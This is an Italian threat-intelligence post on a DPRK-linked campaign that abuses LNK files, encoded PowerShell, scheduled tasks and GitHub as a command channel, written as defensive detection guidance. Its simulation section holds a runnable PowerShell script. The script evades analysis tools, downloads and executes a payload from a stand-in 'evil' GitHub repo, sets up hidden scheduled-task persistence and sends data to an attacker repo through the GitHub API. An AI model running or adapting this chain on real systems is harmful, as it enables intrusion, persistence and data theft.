SOC Prime Bias: Critico

08 Apr 2026 15:12

Campagne Correlate alla DPRK con LNK e GitHub C2

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
Campagne Correlate alla DPRK con LNK e GitHub C2
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo

FortiGuard Labs segnala una campagna collegata alla DPRK che arma i file di collegamento LNK per lanciare stadi PowerShell codificati, stabilire la persistenza attraverso attività pianificate ed esfiltrare dati tramite GitHub. La riga di comando LNK incorpora logica di decodifica, consentendo agli operatori di fare affidamento sugli strumenti integrati di Windows e ridurre evidenti artefatti di malware. L’attività mira alle organizzazioni in Corea del Sud e segue un flusso di lavoro a più fasi. Utilizzando infrastrutture pubbliche legittime come GitHub, la campagna si mescola al normale traffico degli sviluppatori e complica il blocco basato sulla rete.

Indagine

Gli analisti hanno documentato una catena a tre stadi: (1) file LNK che trasportano PowerShell codificato nei loro argomenti, (2) uno stadio PowerShell che esegue controlli anti-analisi, rilascia uno script VB, crea un’attività pianificata nascosta e raccoglie dettagli host/sistema, e (3) una fase finale che recupera ripetutamente moduli aggiuntivi da un repository GitHub. Sono stati osservati più account GitHub che supportano il flusso di lavoro C2, inclusi token di accesso hard-coded utilizzati per caricare dati tramite l’API di GitHub. Gli operatori hanno anche usato documenti PDF esca per rendere l’attrattiva più credibile e ridurre i sospetti degli utenti.

Mitigazione

Bloccare o limitare l’esecuzione dei file LNK provenienti da posizioni non fidate (download di email, cartelle temporanee, percorsi di download del profilo utente). Monitorare i modelli di esecuzione sospetti di PowerShell e VBScript, specialmente quando seguiti dalla creazione di attività pianificate insolite. Dove possibile, limitare o proxi l’accesso in uscita agli endpoint API di GitHub per i sistemi senza necessità aziendali e avvisare su utilizzi atipici dell’API di GitHub da host non di sviluppo. Rafforzare i controlli nell’applicazione e le rilevazioni EDR per segnalare l’abuso degli strumenti nativi di Windows utilizzati per lo staging, la decodifica e la persistenza.

Risposta

Se rilevati, isolare il punto terminale e preservare le prove raccogliendo il file LNK, la definizione dell’attività pianificata e qualsiasi script rilasciato. Rimuovere l’attività pianificata, revocare eventuali token di accesso GitHub esposti, e eseguire una scansione completa dell’host per artefatti correlati e moduli di continuazione. Notificare gli stakeholder rilevanti, quindi aggiornare i contenuti di rilevazione per coprire i comportamenti osservati e gli IOC per supportare la ricerca nell’ambiente più ampio.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffef99 classDef malware fill:#ff9999 %% Nodes action_initial_access["<b>Azione</b> – <b>T1566.001 Phishing: Allegato Spearphishing</b><br/>Consegna di .lnk malevolo mascherato da PDF coreano"] class action_initial_access action tool_lnk["<b>Strumento</b> – <b>Nome</b>: Collegamento LNK<br/><b>Tecnica</b>: T1547.009 Modifica Collegamento"] class tool_lnk tool action_execution_lnk["<b>Azione</b> – <b>T1547.009 Avvio Automatico all’Avvio o Accesso: Modifica Collegamento</b><br/>Il collegamento attiva PowerShell"] class action_execution_lnk action tool_powershell["<b>Strumento</b> – <b>Nome</b>: PowerShell<br/><b>Tecnica</b>: T1059.001 Interprete di Comandi e Script"] class tool_powershell tool action_obfuscation["<b>Azione</b> – <b>Tecniche di Offuscamento</b><br/>T1027.012 Smuggling di Icone, T1027.008 Payload Stripped, T1027.009 Payload Incorporati"] class action_obfuscation action action_sandbox_evasion["<b>Azione</b> – <b>T1497.002 Evasione di Virtualizzazione/Sandbox</b><br/>Controllo degli strumenti di analisi e aborto"] class action_sandbox_evasion action action_decode_payload["<b>Azione</b> – <b>T1059.001 PowerShell</b><br/>Decodifica Base64/XOR, scrive VBScript in %Temp%"] class action_decode_payload action tool_vbscript["<b>Strumento</b> – <b>Nome</b>: VBScript<br/>Scrive script in %Temp%"] class tool_vbscript tool tool_scheduled_task["<b>Strumento</b> – <b>Nome</b>: Attività Pianificata<br/><b>Tecnica</b>: T1037 Script di Inizializzazione all’Avvio o Accesso"] class tool_scheduled_task tool action_persistence["<b>Azione</b> – <b>Persistenza</b><br/>Esegue VBScript ogni 30 minuti"] class action_persistence action action_discovery["<b>Azione</b> – <b>Scoperta</b><br/>T1082 Scoperta Informazioni di Sistema, T1057 Scoperta dei Processi"] class action_discovery action action_c2["<b>Azione</b> – <b>Comando e Controllo</b><br/>T1567.001 Esfiltrazione su GitHub, T1102.002 Servizio Web Bidirezionale, T1538 Dashboard del Servizio Cloud"] class action_c2 action tool_github["<b>Strumento</b> – <b>Nome</b>: API di GitHub<br/>Usato per esfiltrazione e recupero moduli"] class tool_github tool %% Connections action_initial_access –>|consegna| tool_lnk tool_lnk –>|attiva| action_execution_lnk action_execution_lnk –>|usa| tool_powershell tool_powershell –>|esegue| action_obfuscation action_obfuscation –>|porta a| action_sandbox_evasion action_sandbox_evasion –>|procede a| action_decode_payload action_decode_payload –>|scrive| tool_vbscript tool_vbscript –>|crea| tool_scheduled_task tool_scheduled_task –>|abilita| action_persistence action_persistence –>|raccoglie dati per| action_discovery action_discovery –>|invia dati a| action_c2 action_c2 –>|usa| tool_github "

Flusso di Attacco

Esecuzione di Simulazione

Prerequisito: Il Controllo Pre-Flight di Telemetria e Baseline deve essere stato completato con successo.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrazione & Comandi di Attacco:
    L’avversario ha compromesso un account utente a basso privilegio su una workstation Windows. Per mantenere la persistenza ed esfiltrare dati in modo furtivo, creano un unico comando PowerShell one-liner che:

    1. Verifica la presenza di processi comuni di strumenti di analisi (vmxnet, vboxservice, idaq, fiddler, wireshark). Se qualcuno è presente, lo script si interrompe.
    2. Scarica un payload codificato in Base64 da un repository pubblico GitHub (https://raw.githubusercontent.com/evil/loot/main/payload.b64).
    3. Decodifica il payload in memoria e lo esegue.
    4. Registra un’attività pianificata tramite New-ScheduledTaskAction per ri-eseguire lo stesso comando PowerShell ad ogni riavvio (persistenza).
    5. Invia i dati rubati al repository GitHub dell’attaccante utilizzando l’API di GitHub (api.github.com).

    Tutti i passaggi sono concatenati con punti e virgola, garantendo che l intera riga di comando contenga le stringhe richieste per la regola Sigma.

  • Script di Test di Regressione:

    # -------------------------------------------------
    # One-liner che soddisfa ogni condizione Sigma
    # -------------------------------------------------
    $envChecks = "vmxnet","vboxservice","idaq","fiddler","wireshark"
    foreach($c in $envChecks){ if (Get-Process -Name $c -ErrorAction SilentlyContinue){ exit } }
    $b64 = Invoke-RestMethod -Uri "https://raw.githubusercontent.com/evil/loot/main/payload.b64"
    $bytes = [System.Convert]::FromBase64String($b64)
    $decoded = [System.Text.Encoding]::UTF8.GetString($bytes)
    IEX $decoded
    $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -WindowStyle Hidden -Command `"& {<INSERT SAME ONE-Liner HERE>}`""
    $trigger = New-ScheduledTaskTrigger -AtLogon
    Register-ScheduledTask -TaskName "SysUpdate" -Action $action -Trigger $trigger -RunLevel Highest -Force
    # Esfiltrare dati di esempio
    $data = "SensitiveInfo"
    $json = @{content=$data} | ConvertTo-Json
    Invoke-RestMethod -Method Post -Uri "https://api.github.com/repos/evil/collector/contents/data.txt" -Body $json -Headers @{Authorization="token <PAT>"}

    Nota: Sostituire <INSERT SAME ONE-Liner HERE> con lo stesso one-liner (ricorsivo) o memorizzarlo in una variabile per evitare duplicazioni. Lo script è intenzionalmente verbose per illustrare ogni passaggio; in una vera campagna l’avversario lo compatterebbe ulteriormente.

  • Comandi di Pulizia:

    # Rimuovi attività pianificata
    Unregister-ScheduledTask -TaskName "SysUpdate" -Confirm:$false
    
    # Elimina eventuali file temporanei (se scritti)
    Remove-Item -Path "$env:TEMPpayload.b64" -ErrorAction SilentlyContinue
    
    # Eventualmente termina il processo maligno in memoria (se ancora in esecuzione)
    Get-Process -Name "powershell" | Where-Object {$_.StartInfo.Arguments -match "evil"} | Stop-Process -Force